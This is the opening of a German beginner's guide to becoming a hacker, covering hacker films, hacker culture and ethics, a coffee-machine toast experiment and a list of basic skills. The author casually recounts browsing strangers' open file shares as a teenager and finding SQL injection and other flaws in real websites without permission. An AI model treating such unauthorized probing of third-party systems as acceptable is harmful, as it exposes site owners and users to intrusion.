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WIE WERDE ICH HACKER? 


Der Anfänger-Guide von 1337core 
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Vorwort 

Vielleicht kennst du Texte aus dem Internet zur großen Frage: 
"Wie werde ich Hacker/-in?" Dort werden einige Themen ange- 
schnitten, aber nicht erklärt wie Einsteiger/-innen ihr Ziel er- 
reichen können. Nach einer Twitter-Umfrage war klar, dass 
mein Umfeld etwas für Einsteiger/-innen und Scriptkiddies le- 
sen möchte. Also erzähle ich euch etwas von meinem Einstieg 
ins Hacking. Viel Spaß! 


Was sind Hacker/-innen und wie werde ich eine/-r? Wieso wird 
der Begriff so unterschiedlich verwendet? Was hat es mit der 
Netzkultur auf sich? Wie werde ich Hacker/-in mit der Hilfe des 
Internets? Was ist Hacktivismus und wozu ist es gut? Es geht 
um Bastler/-innen, Sicherheitslücken, Netzwerke, Bots, Script- 
kiddies, bDlinkende LEDs und vieles mehr. Wie funktioniert es 
und was kann ich damit machen? 


Dieses Buch ist ein schneller Einstieg in die Hackerwelt. Es ist 
für Einsteiger als Orientierungshilfe geschrieben und steigert 
sich über Netzkultur, Lernen mit Hilfe des Internets, IT-Grund- 
lagen, Programmierung, Security bis hin zu Projekten wie zum 
Beispiel: Emoji Aquarium, IMSI-Catcher, Schlösser knacken, 
Freifunk oder offene Server finden. 


Was gibt es Schöneres, als sich anzusehen wie Sandra Bullock 
in "The Net" (1995) an ihrem Rechner Pizza mit extra Knob- 
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lauch bestellt? Die 90er hatten einige Hackerfilme zu bieten. 
Ein Film mit Sandra Bullock könnte der Zenit gewesen sein. 


Jack Devlin: 


Computers are your life, aren't they? 


Angela Bennett: 
Yes. The perfect hiding place. 


Der Computer ist das perfekte Versteck. Er bietet Informationen 
und Unterhaltung. Aus dieser Zeit gibt es noch andere interes- 
sante Filme. Zum Beispiel "War Games" aus dem Jahre 1983. 
Im Grunde zeigt der Film, weshalb es eine schlechte Idee wäre 
künstliche Intelligenz mit Atomwaffen zu verbinden. 


Spaß-Fakt: Im Erscheinungsjahr 1983 trat ein Fehler bei der 
sowjetischen Luftraumüberwachung auf. Dort wurde vor einem 
Atomraketenangriff gewarnt. Die Angriffsmeldung musste von 
einem Offizier als Fehlalarm eingestuft werden. Da lohnte sich 
die gesunde Skepsis. Wer sich für diese Story interessiert: Fine 
Internetsuche nach "Offizier Stanislaw Petrow" hilft dir weiter. 


Dazu passt ein schönes Zitat aus "War Games": 
General Beringer: 


Gentlemen, I wouldn't trust this overgrown pile of microchips any 
further than I can throw it. 


10 


Ein weiterer Film aus dem Jahre 1995 ist "Hackers". Mit Ange- 
lina Jolie. Ja, Freunde. In den 90er wurden Hackerfilme mit 
aufsteigenden Superstars gedreht. Wenn ich die Totenköpfe 
ignoriere, die über den Bildschirm fliegen, dann ist der Film 
gut. Hackers fängt die richtige Stimmung auf. Telefonnetze 
ausnutzen (Phone Phreaking: Durch entsprechende Töne, 
konnten Hacker sich kostenlose Telefonate erschleichen), sich 
gegen gefährliche Unternehmer wehren (Hacktivismus) und 
immer das Ziel möglichst beeindruckende Hacks zu liefern. Kul- 
turell liegt der Film richtig. Die lustigen Visualisierungen ma- 
chen ihn zu einem trashigen Kultfilm. Ich feiere den Film! 


Acid Burn: 


Never send a boy to do a woman's job. 


Cereal Killer: 
We have no names, man. No names. We are nameless! 


Den trashigen Humor und dass alle wie crazy Indie-Models aus- 
sehen, finde ich sehr amüsant. Kulturell sind sie aber auf der 
richtigen Spur. Kids, die Bücher lesen und ausprobieren. 


Die Serie Mr. Robot (2015) macht in Staffel 1 vieles richtig, vor 
allem aus technischer Sicht. Die Serie beginnt mit den persönli- 
chen Problemen des Hauptcharakters Elliot, seinen Hass auf die 
echte Welt und Verschwörungstheorien. Eine kleine Gruppe bö- 
ser Menschen steckt hinter dem Leid der Welt. Der kundige Zu- 
schauer merkt der Serie an, dass sie technisch beraten wurden. 
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Tyrell Wellick: 
Give aman a gun and he can rob a bank, but give a man a bank, 


and he can rob the world. 


Ein weiterer Film, der interessante Hacks zeigt, ist "Whoami - 
Kein System ist sicher" aus dem Jahre 2014. Erstaunlicherweise 
sogar ein deutscher Film. Dann fiel mir noch eine deutsche Se- 
rie auf, die 2019 auf Netflix erschien: "How to sell drugs online 
(fast)". Dort wird korrekt erzählt, wie Tor Hidden Services 
funktionieren, um anonym im Internet Drogen zu verkaufen. 
Wobei mir direkt auffiel, dass sie Briefkästen benutzten, die viel 
zu nah an ihrem Wohnort waren. Dann in Stranger Things Staf- 
fel 2 programmiert Bob einen Brute Force Angriff um alle Kom- 
binationen eines vierstelligen Zahlencodes auszuprobieren in 
der Programmiersprache BASIC. 


Das sind viele Beispiele, in denen entweder technisch korrekt 
oder immerhin kulturell korrekt gezeigt wurde, wie Hacker/- 
innen ticken können. Doch wir merken schon, in den meisten 
Fällen ist es illegal oder verursacht große Probleme. 


Der Begriff "Hacker" wird als Sammelbegriff für verschiedene 
Aktivitäten verwendet. In den Medien und der Popkultur taucht 
er vor allem bei Einbrüchen in Computersysteme auf. Er wird 
gleichgesetzt mit Betrug, Datendiebstahl und was sonst noch 
ein minimales technisches Verständnis benötigt. Doch die Ha- 
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ckerkultur ist deutlich mehr als das und hat eine lange Traditi- 
on. 


Ursprünglich entstand der Begriff "Hacker" aus der Program- 
mierer-Szene und der freien Software Bewegung. Hacken ist 
experimentieren mit Software oder Hardware. Sobald dies 
erstmals mit PCs möglich war, entwickelte sich eine Szene aus 
Bastlern, die ihre Geräte an ihre Grenzen und darüber hinaus 
bringen wollten. 


Zur History gibt es ein paar alte Dokumentationen, die sich im 
WWW finden lassen. Der Wikipedia-Artikel zu Hacker ist auch 
interessant zu lesen. Falls du auf eine Zusammenfassung ge- 
hofft hast, muss ich dich leider enttäuschen. Als im Jahre 1993 
das WWW für die Öffentlichkeit freigegeben wurde, war ich 
erst vier Jahre alt. Ich belasse es dabei, denn du findest es 
selbst im Internet mit dem Suchbegriff "Geschichte des Inter- 
nets". Auch der Vorschlag wie das WWW funktionieren soll, ist 
heute noch auf der Webseite des W3C (Gremium der WWW 
Standards) verfügbar, wenn du nach "World Wide Web: Propo- 
sal for a HyperText Project" suchst. 


Ich habe mich schon früh für Computer interessiert und bin 
über Tutorials zu den ersten "Hacks" gekommen. Das war ei- 
gentlich mehr Zufall als Absicht, denn ich las einfach verdammt 
viel und gerne im Internet, wodurch ich darauf gestoßen bin. 
Ich konnte einfach nicht aufhören Dokumentationen, Anleitun- 
gen und Blogs zu lesen. 
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Interesse + Zeit + Internet = Hacker/-in 


Der erste Versuch war ein Scan der Telekom IPs nach Port 137. 
Denn dort konnte ich in die Ordner-Freigabe reinschauen. Ein 
kleiner Portscanner brachte mir entsprechende IP-Adressen. 
Diese musste ich nur eingeben und hoffen, dass öffentlicher 
Zugriff möglich war. Bei einigen Freigaben war das der Fall und 
schon klickte ich mich durch fremde Dokumente oder Fotos. 
Kann das wirklich so einfach sein? 


Ich war damals um die 14 Jahre alt. 


Ein Scriptkiddie war geboren. 


Bei der heutigen Rechtslage retten mich nur die Tatsachen, dass 
dieser Zugang nicht gesichert war und es außerdem verjährt ist. 
Meine Neugier war verflogen und ich hatte mich ausreichend 
erschrocken wie einfach es war, sodass ich erstmal die Finger 
davon ließ. 


Später interessierten mich immer mehr die Grundlagen dahin- 
ter: Netzwerke, das Internet, Webseiten, wie Webseiten gebaut 
werden, welche Dienste es gibt, wie diese benutzt werden und 
welchen Unfug ich damit machen kann. Ein Scriptkiddie ist oft 
jung und kennt sich nicht mit den technischen Hintergründen 
der Hacker-Tools aus. Es verwendet nur Programme anderer 
Hacker. Deshalb ist es gerade für Scriptkiddies schwierig an- 
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onym zu bleiben oder auch das Resultat ihrer Aktivitäten rich- 
tig einzuschätzen. 


Je nachdem wie motiviert das Scriptkiddie ist, kommt es damit 
trotzdem relativ weit, wird aber früher oder später auf Proble- 
me stoßen, da es seine Grenzen nicht kennt. Der Klassiker: Es 
wird nach einem Hack damit geprahlt. 


Mir wurde früh klar, dass diese Macht auch Verantwortung be- 
deutet. Durch meine Faszination von Computern musste ich in 
irgendeine Art IT-Ausbildung. Ich interessierte mich damals fast 
ausschließlich für Computer und das Internet. 


In meiner Ausbildung gab es auch einen Moment, der mir 
nochmal bewusst machte, wie wichtig ein moralischer Kompass 
ist: Ich arbeitete in einer kleinen Firma, die Computer für Pri- 
vat- und Geschäftskunden zusammenschraubte, installierte und 
reparierte. Fin Auftrag kam rein, bei dem gelöschte Dateien ei- 
ner Speicherkarte wiederherzustellen waren. Es ging um die 
Hausarbeit einer Studentin. Nach etwas Recherche wie das 
funktioniert, hatte ich ein passendes Tool und konnte die wie- 
derhergestellten Dateien sehen. Neben ihrer Hausarbeit wurden 
aber auch selbstgemachte Nacktfotos wieder sichtbar. 


Ups, Privatsphäre. So genau wollte ich es nicht wissen. Hier 


würde ich empfehlen im Kapitel "Daten sicher löschen" nachzu- 
schlagen. Es gibt Tools, um solche Fotos richtig zu löschen. 
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Nach meiner Ausbildung als IT-Systemelektroniker fing ich 
wieder an mich mehr für das Thema "Hacking" zu interessieren. 
In einem YouTube Video erklärte ein Junge (deutlich vor dem 
Stimmbruch) wie SQL Injections funktionieren. Es gab eine 
Testseite und er machte die üblichen Schritte aus einem Tutori- 
al. Bei dieser Lücke können Befehle an die Datenbank übermit- 
telt und z.B. interne Daten gelesen werden. 


Daraufhin dachte ich mir: Wie schwer kann das sein? Wenn 
dieser Junge das nach Anleitung schafft, dann kann ich das be- 
stimmt auch. Drei Wochen später waren meine Skills in SQL 
Injections, Local File Inclusions und Cross Site Scripting, ohne 
zusätzliche Tools, gut genug für Hacks von TV Total, einer 
NATO-Webseite oder der Petitionswebseite vom Weißen Haus. 
Ich machte die Betreiber darauf aufmerksam, damit die Sicher- 
heitslücke geschlossen werden. 


Im Grunde war mein Ziel, das Internet ein kleines Stück siche- 
rer zu machen. Das Hobby ließ mich nicht los. Auf dem Saar- 
camp, ein Barcamp mit freien Vorträgen, hielte ich einen Web 
Security Vortrag, zeigte und erklärte welche Probleme es immer 
noch gibt. Demonstrierte eine SQL Injection an einer normalen 
Webseite. Ich wollte klar machen, dass es sich hierbei um keine 
komplizierten Lücken handelte. 


Nach einer gemeldeten Lücke bei TV Total sponserten sie mir 
damals zwei Zuschauertickets für ihre Show. Ich war Anfang 20 
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mit meiner Freundin als Zuschauer bei TV Total, weil ich deren 
Webseite gehackt habe. 


Security ist ein geiles Hobby. 


Was erwartet dich hier? 

Was ist dieses Buch und was ist es nicht? Dieses Buch ist ein 
kleiner Ausschnitt meines Weges zum Hacker. Dies soll ein Buch 
für mein früheres Ich werden, um die ersten Schritte zu ma- 
chen. Ein Guide, der einen möglichen Lernweg aufzeigt. Mein 
Ziel ist es nicht, ein umfassendes Sachbuch zu liefern, sondern 
Interesse und Neugierde zu wecken, um selbst herauszufinden, 
was dich davon interessiert und wie es funktioniert. Es soll ein 
besserer "Wie werde ich Hacker"-Guide werden. Die finden sich 
häufig im Internet, aber sie bleiben oberflächlich. Ich schubse 
Interessierte ein bisschen weiter in die richtige Richtung. Nicht 
nur der technische Teil ist wissenswert, sondern auch der Weg 
dahin. Wie finde ich die Informationen? Wie gehe ich damit 
um? Durch welche Methoden oder Dienste kann ich schnell 
lernen? 


Dieses Buch wird keine ausgedruckte Dokumentation. Es wird 
auch nicht voller Codebeispiele sein, die niemand ordentlich 
heraus kopieren kann. Es ist unsinnig, dieses Wissen in voll- 
ständiger Tiefe in ein Buch zu packen, weil sich dieser Bereich 
zu schnell weiterentwickelt. Außerdem gibt es in den meisten 
Fällen bereits Dokumentationen im Internet. Dort sind sie auch 
deutlich besser aufgehoben und sollten auch dort erweitert 
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werden. Was ich liefere sind Einstiegshilfen, Grundlagen, Ideen, 
Methoden und Beispiele. Mein Ziel ist es einen unterhaltsamen 
Weg aufzuzeigen, der Lust auf Hacking macht. 


Ich werde das Grundwissen anreißen, um einen Einblick zu 
vermitteln, womit sich Hacker beschäftigen könnten. Danach 
geht es raus in die Welt: Informationen sammeln, Prototypen 
programmieren, an der Community teilhaben, an Open Source 
Software arbeiten, das Internet scannen, Webseiten hacken, 
den moralischen Kompass ausrichten und Dinge programmie- 
ren, die niemand haben möchte, aber dafür ordentlich Spaß 
gemacht haben. 


Das Internet. 

Menschen. 

Experimente. 

Die Praxis. 

Learning by Hacking. 

Vorweg: Nicht-männliche Hacker werden gerne auch Hackerin- 
nen oder manchmal Häcksen genannt. Ich habe mich für diese 
Variante entschieden: Hacker/-innen und versuche möglichst 


oft daran zu denken oder gleich eine neutrale Variante zu ver- 
wenden. Eine dritte Geschlechtsidentität ist mir bekannt. 
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Was ist ein/-e Hacker/-in? 

Eine Person, die Spaß daran hat, programmierbare Systeme zu 
erforschen und bis an die Grenzen ihrer Fähigkeiten gehen will. 
Eine Person, die begeistert (sogar obsessiv) programmiert. Die 
in der Lage ist, einen guten Hack zu erkennen. Die besonders 
schnell programmieren kann. Die die intellektuelle Herausfor- 
derung liebt, auf kreative Art und Weise Hindernisse zu über- 
winden oder zu umgehen. Eine Person mit Wissen über techni- 
sche Geräte sowie das Internet und die Spaß daran hat, die 
Technik zu überlisten, zu zweckentfremden oder zu modifizie- 
ren. 


Doch was ist der Unterschied zwischen Programmierern oder 
Informatikern und Hackern? Diese Frage ist nicht einfach zu 
beantworten, denn es gibt keine feste Definition. "Software 
Entwickler/-in" ist eben auch ein normaler Job, der erlernt oder 
studiert werden kann, ohne automatisch ein/-e Hacker/-in zu 
sein. 


Es gibt einige Punkte, bei denen Hacker/-innen sich von Pro- 
grammierer/-innen unterscheiden: Hacker/-innen probieren 
neue Dinge aus. Dinge, die nicht dokumentiert sind. Sie expe- 
rimentieren und testen Software oder Hardware. Sie wissen 
nicht unbedingt, wie alles funktioniert und versuchen, die 
Software oder Hardware über ihre Tests zu verstehen. Pro- 
grammierer/-innen bleiben bei den Systemen, die sie kennen. 
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Hacker/-innen versuchen die Software zu einem Verhalten zu 
bringen, dass ihnen Freude bereitet. Sie versuchen die Ecken zu 
finden, die nicht dokumentiert sind. Was oft Trial and Error (= 
Versuch und Irrtum) bedeutet. Hackern bereitet es Freude, was 
normalerweise Frust hervorruft. Sie fühlen sich davon heraus- 
gefordert und werden nicht ruhen, bis sie verstanden haben, 
was gerade passiert oder sie davon gelangweilt sind. 


Hacker/-innen würden ihre Erkenntnisse mit der Community 
(= dem Internet) teilen, um damit für ein besseres Verständnis 
zu sorgen. Sie würden ihre Schritte dokumentieren, um auch 
andere an diesen Punkt zu bringen. Dadurch haben sie die 
Möglichkeit auch darüber hinaus zu kommen. Ein weiterer Un- 
terschied ist, dass ein/-e Programmierer/-in in erster Linie Geld 
verdienen will und nicht, weil es ein persönliches Bedürfnis ist. 


Als Hacker/-in kannst du einen IT-Job haben, 


aber in einem IT-Job bist du nicht automatisch Hacker/-in. 


Es geht um die Freude am Hacking selbst. Ein Hacker oder eine 
Hackerin fühlt sich von Computern und Software herausgefor- 
dert und spielt mit ihnen auf jegliche Art. Dementsprechend 
verliert er/sie auch schneller das Interesse, wenn es ihm/ihr 
keinen Spaß mehr bringt. Manchmal ist der einzige Grund et- 


was zu tun, weil man es kann. 


Genauso gibt es Bastler/-innen aus dem "Do It Yourself" oder 
Maker-Bereich, die nicht automatisch Hacker/-innen sind. 
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Nehmen wir als Beispiel eine Person, die sich gerne handwerk- 
lich beschäftigt. Das macht sie nicht automatisch zum Hard- 
ware Hacker. Bei Hacker/-innen steht der spielerische und krea- 
tive Umgang im Vordergrund. Beim Handwerk ist das möglichst 
gute Endprodukt das Ziel. Ein guter Hack wäre die Lösung ei- 
nes Problems auf besonders kreative Weise oder komplett 
zweckfremd, mit den vorhandenen Mitteln. Je schlechter deine 
Vorraussetzungen, umso größer ist die Chance für einen Hack. 


Verschiedene Szenen lassen sich nach ihrer Tätigkeit einord- 
nen: Hardware Hacker, Open Source Software, Security, Hack- 
tivismus, File Sharing und Cracking Szene. Ich habe sicherlich 
irgendeinen Ableger vergessen. Es wurde von der Hacker-Szene 
versucht die illegalen Tätigkeiten von den "guten" Hackern zu 
trennen. Dafür wurde der Begriff "Cracker" vorgeschlagen und 
genutzt. Wer heute eine Zeitung aufschlägt weiß, dass es nicht 
funktioniert hat. Nicht mal im Ansatz. Wir müssen akzeptieren, 
dass das Wort "Hacker" zu einem Sammelbegriff für viele Be- 
schreibungen geworden ist. 


Bei Einbrechern in Computersysteme unterscheiden wir die Mo- 
tive: Gab es gute Gründe? Möchten sie Sicherheitslücken auf- 
zeigen und schließen, möchten sie Informationen befreien oder 
vielleicht Unrecht aufdecken? 


Hacker/-innen aus dem Bereich Security, die sich auf der lega- 
len Seite bewegen, werden White-Hats genannt. Sie verwenden 
ihr Wissen innerhalb der Gesetze und Grenzen. 
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Die Grey-Hats verstoßen gegen das Gesetz, wollen aber mögli- 
cherweise damit Unrecht auf der Welt aufdecken. Sie verfolgen 
ein höheres moralisches Ziel. Aber angeklagt werden sie trotz- 
dem. ;) 


Geht es um Betrug durch Hacking für Geld oder Macht? Dann 
reden wir von einem Black-Hat. Denen bietet das Internet un- 
zählige Möglichkeiten, um das Leben ihrer Opfer zur Hölle zu 
machen. 


"Wie werde ich denn nun ein/-e richtiger/-e Hacker/-in?", frag- 
te er ironisch in seinem Buch, während er von sich auch noch 
in der dritter Person schrieb... 


Wau Holland, ein Gründungsmitglied des Chaos Computer 
Clubs, sagte einmal den vielzitierten Satz: "Ein Hacker ist je- 
mand, der versucht einen Weg zu finden, wie man mit einer 
Kaffeemaschine Toast zubereiten kann". Dieses Zitat taucht 
ständig auf, wenn ich einen Erklärungsversuch im Internet su- 
che. Das kann ich mir natürlich nicht nehmen lassen und muss 
es ausprobieren. Was wäre bitte ein Hacker-Buch von mir ohne 
dieses Experiment? 


Challenge Accepted! 
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Wau Holland: 
Ein Hacker ist jemand, der versucht einen Weg zu finden, wie man 


mit einer Kaffeemaschine Toast zubereiten kann. 


Okay, ich mach’s! 


Welche Funktionen hat eine Kaffeemaschine und was kann ich 
damit tun? Eine Filterkaffeemaschine hat eine Brüheinheit, um 
Wasser zu erhitzen. Damit lässt sich eher schwierig einen Toast 
zubereiten. Aber es gibt auch die Warmhalteplatte auf der die 
Kanne steht. Damit kann ich arbeiten. 


Da ich zu Hause keine Kaffeemaschine besaß, bin ich losgezo- 
gen und habe mir eine Maschine im Elektrofachhandel meines 
Vertrauens besorgt. Normalerweise trinke ich Wasser oder Tee. 
Eine neue Maschine hat den Vorteil, dass das Experiment nicht 
noch nach Kaffee schmeckt. Damit die Heizplatte überhaupt 
heiß wird, muss erst Kaffee bzw. Wasser kochen. Danach nehme 
ich die Kanne weg, decke die Platte mit Aluminiumfolie ab und 
lege meine Toast darauf. 


Nach ein paar Minuten wird klar, dass der Toast zwar leicht ge- 
toastet wird, es aber sehr lange dauert, weil meine Maschine 
dafür zu wenig Power hat. Vielleicht haben auch alle Maschi- 
nen dafür zu wenig Leistung, aber das macht nichts, denn es 
gibt deutlich bessere Rezepte für die Kaffeemaschine. Die rich- 
tig guten Sachen kommen noch. 
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Eine Kaffeemaschine macht im Prinzip erstmal heißes Wasser. 
Also lassen sich damit z.B. auch Hot Dogs warm machen. Vege- 
tarische Hot Dogs sind recht schnell genießbar. Ab damit in die 
Kanne. Wenn die Kanne voller Wasser ist, stelle ich sie zur Seite 
und lege die Hot Dog Brötchen auch die Heizplatte. Ketchup, 
Senf, Röstzwiebeln und ein paar Gürkchen dazu. Sehr lecker! 
Kann ich nur empfehlen. 


Ein weiteres Rezept ist die klassische Nudelsuppe. Dazu schnei- 
de ich ein Stück Lauch und 
eine Karotte in sehr, sehr 
kleine Würfel, gebe ein paar 
kleine Suppennudeln dazu 
und fülle alles in die Kanne. 
Zusätzlich Salz, Pfeffer und 
Würze rein geben. Gerät an- 
schalten und warten. Wenn 
die Kanne komplett mit 
Wasser gefüllt ist, noch un- 
gefähr fünf Minuten warten 
und danach die Nudelsuppe 
genießen. 


Mit der Kaffeemaschine zu kochen ist durchaus lustig, hat sich 
bei mir allerdings nicht durchgesetzt. Trotzdem bin ich dem 
Ziel ein echter Hacker zu werden damit schon wieder einen 
Schritt näher gekommen. Spaß. ;) 
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Eine Kaffeemaschine bringt eine überschaubare Menge an Ein- 
flussmöglichkeiten und Verantwortung mit. Andere Hacker-Tä- 
tigkeiten haben höheres Missbrauchspotenzial. Genau deshalb 
fangen wir jetzt mit einem wichtigen Thema an. Die Hacker- 
Ethik. Diese Ethik soll dich vor schlaflosen Nächten und vor 
rechtlichen Sanktionen schützen. 


Disclaimer: Einige Dinge, die ich im Buch erkläre, können für 
illegale Tätigkeiten verwendet werden. Wenn du dafür aller- 
dings eine Anleitung brauchst, stehen die Chancen gut, dass 
dich trotzdem jemand erwischt. 


Hacker-Ethik 


Es gibt keine feste Definition der Hackerethik. Damals wurde 
sie von Steven Levy in seinem Buch "Hackers" von 1984 be- 
schrieben. Grundsätzlich dokumentiert sie die Überzeugung, 
dass das Verbreiten von Wissen, das Erstellen von Software und 
Dokumentation eine Pflicht jedes Hackers ist. Werte wie Frei- 
heit, Kooperation (z.B. Open Source), freiwillige und selbstge- 
wählte Arbeit gehören dazu. 


Der "Chaos Computer Club" fasst es grob so zusammen: 

* Der Zugang zu Computern und allem, was einem zeigen 
kann, wie diese Welt funktioniert, sollte unbegrenzt und 
vollständig sein. 

* Alle Informationen müssen frei sein. 
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ee 


* Mißtraue Autoritäten - fördere Dezentralisierung. 


ee 


* Beurteile einen Hacker nach dem, was er tut, und nicht 
nach üblichen Kriterien wie Aussehen, Alter, Herkunft, 
Spezies, Geschlecht oder gesellschaftliche Stellung. 


ee 


* Man kann mit einem Computer Kunst und Schönheit schaf- 
fen. 


ee 


* Computer können dein Leben zum Besseren verändern. 


ee 


* Mülle nicht in den Daten anderer Leute. 


ee 


* Öffentliche Daten nützen, private Daten schützen. 


Meine Interpretation dieser Grundsätze sieht folgendermaßen 
aus: 


Freier Zugang zu Computern 

Alles, was dir hilft diese Welt zu verstehen, sollte frei und er- 
reichbar sein. Wissen und Dokumentation gibt dir die Möglich- 
keit Dinge zu verstehen, reparieren oder gänzlich Neues zu 
entdecken. Hardware sollte nachhaltig und ressourcen-scho- 
nend genutzt werden. Das fängt damit an alte oder ungenutzte 
Hardware weiter zu verkaufen oder zu verschenken. Hinweis: 
Am besten ohne deine alte Festplatte. 


Verbreitung von Wissen 

Jedes System gewinnt Vertrauen durch Transparenz und Fair- 
ness. Freier Zugriff auf Wissen und Austausch ermöglicht Krea- 
tivität. Frei im Sinne von Freiheit. Nicht unbedingt im Sinne 
von kostenlos. Damit ist das Teilen deines Internetzugangs ge- 
meint oder das Erstellen von Anleitungen und Dokumentatio- 
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nen wie unsere Software (oder wie die Welt) funktioniert. Eines 
der größten Projekte dazu ist Wikipedia. Alle Open Source Pro- 
jekte gehören auch dazu. Als Beispiel um überhaupt Zugang zu 
diesem Wissen zu bekommen würde ich auch noch Freifunk (= 
kostenloses WLAN, üblicherweise mit Internet) dazu zählen. 


Misstrauen gegenüber Autoritäten 

Systemen wird misstraut, deren Zweck es ist Informationen, 
Ressourcen oder Freiheit eigennützig zu beschränken. Offene 
und grenzenlose Systeme werden bevorzugt. Entscheidungen 
ohne Transparenz sind ein Missbrauch von Macht. Jeder 
Mensch hat das Recht zur freien Entfaltung seiner Persönlich- 
keit. Durch seine dezentrale Struktur ist das Internet ein gutes 
Beispiel für diese Freiheit. Alle Standards jeglicher Art, die eine 
Zusammenarbeit überhaupt möglich machen. Auch Menschen- 
rechte gehören dazu. 


Bevorzugung von Dezentralisierung 

Zentralisierung von Daten und damit Macht über diese Daten, 
erhöhen das Risiko des Missbrauchs. Dezentrale oder lokale 
Speicherung erlauben mehr Freiheiten. Offene Protokolle ent- 
wickeln statt geschlossene Plattformen nutzen. Standardisierte 
Formen der Kommunikation und des Wissens. Zusammenarbeit, 
um diese Standards zu entwickeln und zu verbreiten. Das größ- 
te Projekt in diesem Bereich wären offene Netzwerktechnologi- 
en und Internetprotokolle oder sämtliche Normen. 
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Hacker sollen nur nach ihrer Fähigkeit beurteilt werden 
Oberflächlichkeit hat keinen Platz in der Welt der Hacker/-in- 
nen. Aussehen, Alter, Herkunft und Geschlecht spielen keine 
Rolle. Wir beurteilen nur was er oder sie tut. Vorurteile werden 
bekämpft. Außerdem zollen wir Respekt für interessante Hacks 
und die Unterstützung einer guten Sache. Eines der größten 
Merkmale ist die Anonymität oder auch die Nutzung von 
Pseudonymen. Keine Dresscodes und allgemeine Offenheit der 
Communities. 


Du kannst Kunst und Schönheit mittels Computer erzeugen 
Computer bereiten uns vergnügen. Programme erfüllen nicht 
nur einen Zweck, sondern können auch unserer Unterhaltung 
dienen. Dieser Spaß an Computern, dem Internet oder anderen 
technischen Geräten, ist ein großer Motivationsfaktor. Als Bei- 
spiel würde ich die Demoszene nennen, die digitale Kunst oder 
Animationen auf verschiedenster Hardware erzeugen. Unter 
Kunst mit Computer gehören auch Musikproduktion, digitale 
Zeichnungen, Comics, Texte, Geschichten, Videos, Videobear- 
beitung und sonstige Unterhaltung. Bonuspunkte gibt es dabei 
für besondere Nerdigkeit. 


Als weiteres Grundsatzdokument gibt es das Jargon File ("The 
New Hacker's Dictionary"). Ein Lexikon über verschiedene Be- 
griffe des Hackens. Dieses Buch ist kein Lexikon und ich möch- 
te auch keine neue Hacker-Ethik vorstellen. 
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Die Hacker-Ethik wird durchaus nicht kritiklos von den unter- 
schiedlichen Szenen hingenommen. Gerade in der Security- 
Szene wird oft diskutiert, ob Leaks (veröffentlichen von gehei- 
men Informationen, die auf unethisches Verhalten hinweisen 
oder es aufdecken) der Hacker-Ethik entsprechen. 


Allein die Tatsache, dass es mehrere Definitionsversuche der 
Hacker-Ethiken gibt, die diskutiert werden, weißt darauf hin, 
dass Hacker/-innen sich durchaus Gedanken darüber machen, 
innerhalb welchen moralischen Grenzen sie ihr Können einset- 
zen wollen. 


Die oben beschriebene Ethik wird leider auch eingesetzt, um 
Kritik an grundsätzlich guten Projekten zu äußern, die nicht 
jeden einzelnen Punkt auf idealistischste Weise umsetzen. Auch 
das führt schnell zu einer Spaltung und Demotivation in Grup- 
pen. Wie man sich selbst so die ganze Bewegung kaputt macht, 
sah man an der Piratenpartei in Deutschland. Mach das bitte 
nicht. 


Wie werde ich ein/-e Hacker/-in? 

Das ist der Popcorn-Moment. Es gibt viele schlechte "Hacker 
Foren" in denen genau diese Frage gestellt wird. Doch oft ste- 
cken Kiddies dahinter, die gerne ihre Freunde ausspionieren 
wollen oder unbedingt die Facebook Seite ihrer Klassenkame- 
radin hacken möchten. Ich habe Verständnis dafür, denn ich 
war auch mal 12 Jahre alt. 
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Am Ende landen sie bei "facebook-hackertool-wirklich-kein-tro- 
janer.exe", versauen sich ihren PC, können ihn nicht reparieren, 
aber lernen hoffentlich etwas daraus. Aber niemand will Min- 
derjährige mit möglicherweise gehackten Webcams in ihren 
Kinderzimmern haben. Als Anfänger gibt es viel zu lernen, um 
überhaupt erstmal in die Lage zu kommen, um mit der Techno- 
logie auf kreative Weise spielen zu können. 


Wenn ich diese Frage in die Suchmaschine meiner Wahl eintip- 
pe, dann kommen dort immer die folgenden drei Hauptthemen 
heraus: 

* Grundlegende Fertigkeiten des Hackens. 

* Wie ein Hacker denken. 

* Respekt verdienen. 


Den ersten Punkt werden wir als Grundwissen abhandeln. Das 
sind hauptsächlich II-Grundlagen. Diese Informationen lassen 
sich auch außerhalb der bekannten Wege wie Ausbildung oder 
Studium erfassen. Das ist ein wichtiger Punkt dieses Buches: 
Wie bekomme ich dieses Wissen aus dem Internet? 


Wie ein/-e Hacker/-in zu denken ist etwas schwieriger. Hier 
geht es oft darum sich kreative Lösungen zu überlegen oder 
Dinge zu verbinden, die eigentlich nicht zusammen gehören. 
Das ist auch erst mit technischen Fähigkeiten möglich. 
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Der letzte Punkt "Respekt verdienen" ist etwas schwieriger zu 
erklären. Früher hätte ich dazu "Fame" gesagt und behauptet, 
dass es darum geht möglichst der coolste Hacker von allen zu 
sein. Im Script Kiddie Bereich ist das durchaus üblich. Das ist 
hier aber nicht gemeint. Es geht dabei nicht um den Hack, son- 
dern um dich als Person. Aufrichtig sein, zuhören und lernen, 
Empathie und Hilfe anbieten. Die Hacker-Ethik ernst nehmen. 
Verstehen, dass am anderen Ende der Leitung auch ein Mensch 
sitzt. Andere respektieren und sich deren Respekt damit verdie- 
nen. Das ist keine Einbahnstraße. 


Das ist ein Teil der Grundlagen: 


ee 


* Verstehen wie der Computer funktionieren. 


ee 


* Betriebssysteme verstehen. 
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* Ein gutes Betriebssystem beherrschen, also Linux. ;) 


ee 


* Verstehen wie Elektronik und Strom funktionieren. 


ee 


* Verstehen wie logische Abläufe funktionieren. 


ee 


* Programmabläufe verstehen. 


ee 


* Programmieren lernen. 


ee 


* Verstehen wie man mit verschiedenen Datenstrukturen 
umgeht. 


ee 


* Datenbanken verstehen. 
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* Wissen wie Netzwerke funktionieren. 


ee 


* Wissen wie Signale und Kabel funktionieren. 


ee 


* Messen von Signalen. 


ee 


* Wissen wie das Internet funktioniert. 


ee 


* Kryptografie grob verstehen. 


r 


* Communities im Internet kulturell verstehen. 
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Du kannst mit deinem Wissen danach in der Open Source 
Community helfen und lernen, wie über das Internet an Soft- 
ware zusammen gearbeitet wird. Bugs (= Softwarefehler) be- 
seitigen oder nützliches Wissen veröffentlichen. Du kannst da- 
nach gute Software schreiben und weißt, wie du immer besser 
dabei wirst. Du kannst danach dein Wissen für unterhaltsame 
Projekte verwenden, etwas löten, bauen und deine Projekte 
veröffentlichen. Du kannst danach auch nach Sicherheitslücken 
suchen, deren Ursachen ergründen, sie versuchen zu schließen, 
Software sicherer machen, womöglich auch Unrecht bekämpfen 
oder aufdecken. 


